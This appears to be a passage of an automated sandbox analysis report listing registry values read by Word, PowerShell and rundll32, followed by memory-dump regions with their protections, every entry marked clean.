C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F4AF5
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F4AF5
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
1DA0000
unkown
page readonly
clean
2840000
unkown
page read and write
clean
2B3F000
unkown
page read and write
clean
3140000
unkown
page read and write
clean
3085000
unkown
page read and write
clean
3153000
unkown
page read and write
clean
22A0000
heap private
page read and write
clean
2035000
heap private
page read and write
clean
2777000
unkown
page readonly
clean
310000
unkown
page readonly
clean
A0000
unkown
page readonly
clean
6F0000
unkown
page readonly
clean
36D1000
unkown
page read and write
clean
1DAF000
unkown
page read and write
clean
2E7000
heap default
page read and write
clean
450000
heap default
page read and write
clean
2B90000
unkown
page write copy
clean
10000000
unkown image
page readonly
clean
370000
heap private
page read and write
clean
28B0000
unkown
page read and write
clean
2860000
unkown
page readonly
clean
600000
unkown
page readonly
clean
1E87000
unkown
page readonly
clean
7FF00190000
unkown
page execute and read and write
clean
299C000
unkown
page read and write
clean
2D1E000
unkown
page read and write
clean
220000
unkown
page execute and read and write
clean
2B00000
unkown
page readonly
clean
3125000
unkown
page read and write
clean
32E9000
unkown
page read and write
clean
1B606000
unkown
page read and write
clean
3192000
unkown
page read and write
clean
7FFFFF10000
unkown
page execute and read and write
clean
2D50000
unkown
page write copy
clean
250000
unkown
page readonly
clean
10000000
unkown image
page readonly
clean
2E7000
heap default
page read and write
clean
650000
unkown
page write copy
clean
1C50000
unkown
page read and write
clean
170000
unkown
page readonly
clean
617000
heap default
page read and write
clean
A0000
heap default
page read and write
clean
64D000
heap default
page read and write
clean
32F3000
unkown
page read and write
clean
1DC0000
unkown
page readonly
clean
20000
unkown
page readonly
clean
270000
heap default
page read and write
clean
280000
unkown
page execute and read and write
clean
564000
heap private
page read and write
clean
2D60000
heap private
page execute and read and write
clean
CD0000
heap private
page read and write
clean
773000
heap default
page read and write
clean
520000
heap default
page read and write
clean
20B0000
unkown
page readonly
clean
2330000
heap private
page read and write
clean
6F4000
heap default
page read and write
clean
3B8000
heap private
page read and write
clean
22E0000
unkown
page read and write
clean
1CB000
unkown
page read and write
clean
7FF00280000
unkown
page read and write
clean
7FF00260000
unkown
page execute and read and write
clean
10000000
unkown image
page readonly
clean
231F000
stack
page read and write
clean
21DD000
unkown
page read and write
clean
1C85D000
unkown
page read and write
clean
2340000
unkown
page readonly
clean
1FE7000
unkown
page readonly
clean
2DF0000
heap private
page read and write
clean
2A90000
unkown
page read and write
clean
733000
heap default
page read and write
clean
10000000
unkown
page execute and read and write
clean
6D0000
unkown
page readonly
clean
1D0000
unkown
page execute and read and write
clean
316F000
unkown
page read and write
clean
20000
unkown
page readonly
clean
2D2A000
heap private
page execute and read and write
clean
1FFD000
unkown
page read and write
clean
3679000
unkown
page read and write
clean
57E000
heap default
page read and write
clean
1C86000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
36D4000
unkown
page read and write
clean
4C0000
unkown
page readonly
clean
D0000
unkown
page read and write
clean
1BCAE000
unkown
page read and write
clean
36E7000
unkown
page read and write
clean
12B000
unkown
page read and write
clean
12DCC000
unkown
page read and write
clean
249E000
unkown
page read and write
clean
3D0000
heap default
page read and write
clean
26CD000
unkown
page read and write
clean
21A0000
unkown
page read and write
clean
60000
unkown
page readonly
clean
27BE000
stack
page read and write
clean
43F000
unkown
page read and write
clean
340000
heap private
page read and write
clean
28B000
unkown
page read and write
clean
3E0000
unkown
page readonly
clean
1F70000
unkown
page readonly
clean
2C0000
heap private
page read and write
clean
5F0000
unkown
page readonly
clean
21EE000
unkown
page read and write
clean
9CE000
unkown
page read and write
clean
1F0000
unkown
page execute and read and write
clean
1001F000
unkown
page execute and read and write
clean
650000
unkown
page readonly
clean
E0000
unkown
page readonly
clean
232000
unkown
page read and write
clean
2260000
unkown
page readonly
clean
226000
unkown
page read and write
clean
3E2000
heap default
page read and write
clean
483000
heap default
page read and write
clean
2DC000
unkown
page read and write
clean
21B7000
unkown
page readonly
clean
7FF00290000
unkown
page execute and read and write
clean
36CE000
unkown
page read and write
clean
2130000
unkown
page readonly
clean
374A000
unkown
page read and write
clean
60000
unkown
page readonly
clean
20000
unkown
page readonly
clean
10000000
unkown image
page readonly
clean
2FDA000
unkown
page read and write
clean
6B4000
heap private
page read and write
clean
28D5000
unkown
page read and write
clean
219E000
unkown
page read and write
clean
1DB0000
heap private
page read and write
clean
1A0000
unkown
page execute and read and write
clean
10000000
unkown image
page readonly
clean
7EFDF000
unkown
page read and write
clean
3C6E000
unkown
page read and write
clean
55D000
heap default
page read and write
clean
2840000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
2A4000
heap private
page read and write
clean
674000
heap default
page read and write
clean
190000
unkown
page read and write
clean
300000
unkown
page readonly
clean
1DD7000
unkown
page readonly
clean
348000
heap private
page read and write
clean
2996000
unkown
page read and write
clean
307E000
unkown
page read and write
clean
25A0000
heap private
page read and write
clean
5A7000
heap default
page read and write
clean
100000
unkown
page readonly
clean
1E5000
unkown
page read and write | page guard
clean
28D0000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
1AB000
unkown
page read and write
clean
31D000
heap default
page read and write
clean
1D70000
unkown
page read and write
clean
270000
unkown
page readonly
clean
2840000
unkown
page read and write
clean
263E000
unkown
page read and write
clean
3F0000
heap default
page read and write
clean
180000
unkown
page execute and read and write
clean
2F2000
heap private
page read and write
clean
20000
unkown
page readonly
clean
2204000
heap private
page read and write
clean
2260000
heap private
page read and write
clean
318F000
unkown
page read and write
clean
285E000
stack
page read and write
clean
1C8DE000
unkown
page read and write
clean
380000
unkown
page readonly
clean
290000
unkown
page readonly
clean
7FF00040000
unkown
page read and write
clean
2F0000
unkown
page readonly
clean
1D10000
unkown
page readonly
clean
241E000
unkown
page read and write
clean
660000
heap default
page read and write
clean
4A0000
heap default
page read and write
clean
8C0000
heap private
page read and write
clean
150000
unkown
page read and write
clean
7FF00170000
unkown
page read and write
clean
59E000
unkown
page read and write
clean
25B0000
unkown
page readonly
clean
58A000
heap default
page read and write
clean
120000
unkown
page readonly
clean
21D0000
unkown
page read and write
clean
2C7E000
unkown
page read and write
clean
1B0000
heap private
page read and write
clean
46C000
heap default
page read and write
clean
1E0000
unkown
page execute and read and write
clean
283F000
unkown
page read and write
clean
1EB0000
unkown
page readonly
clean
1D0000
unkown
page execute and read and write
clean
25EC000
unkown
page read and write
clean
360000
heap private
page read and write
clean
3B0000
heap private
page read and write
clean
3026000
unkown
page read and write
clean
295E000
unkown
page read and write
clean
70D000
heap default
page read and write
clean
364000
heap default
page read and write
clean
2840000
unkown
page read and write
clean
7FF00207000
unkown
page read and write
clean
78D000
stack
page read and write
clean
2D9E000
unkown
page read and write
clean
2B90000
unkown
page readonly
clean
74A000
heap default
page read and write
clean
1001F000
unkown
page execute and read and write
clean
7FF0004C000
unkown
page execute and read and write
clean
1B5FF000
unkown
page read and write
clean
36A5000
unkown
page read and write
clean
110000
unkown
page read and write
clean
210000
unkown
page execute and read and write
clean
1ED0000
unkown
page readonly
clean
1001F000
unkown
page execute and read and write
clean
100000
unkown
page readonly
clean
2840000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
2FD0000
unkown
page read and write
clean
2222000
heap private
page read and write
clean
180000
unkown
page execute and read and write
clean
1FB000
stack
page read and write
clean
5D7000
heap default
page read and write
clean
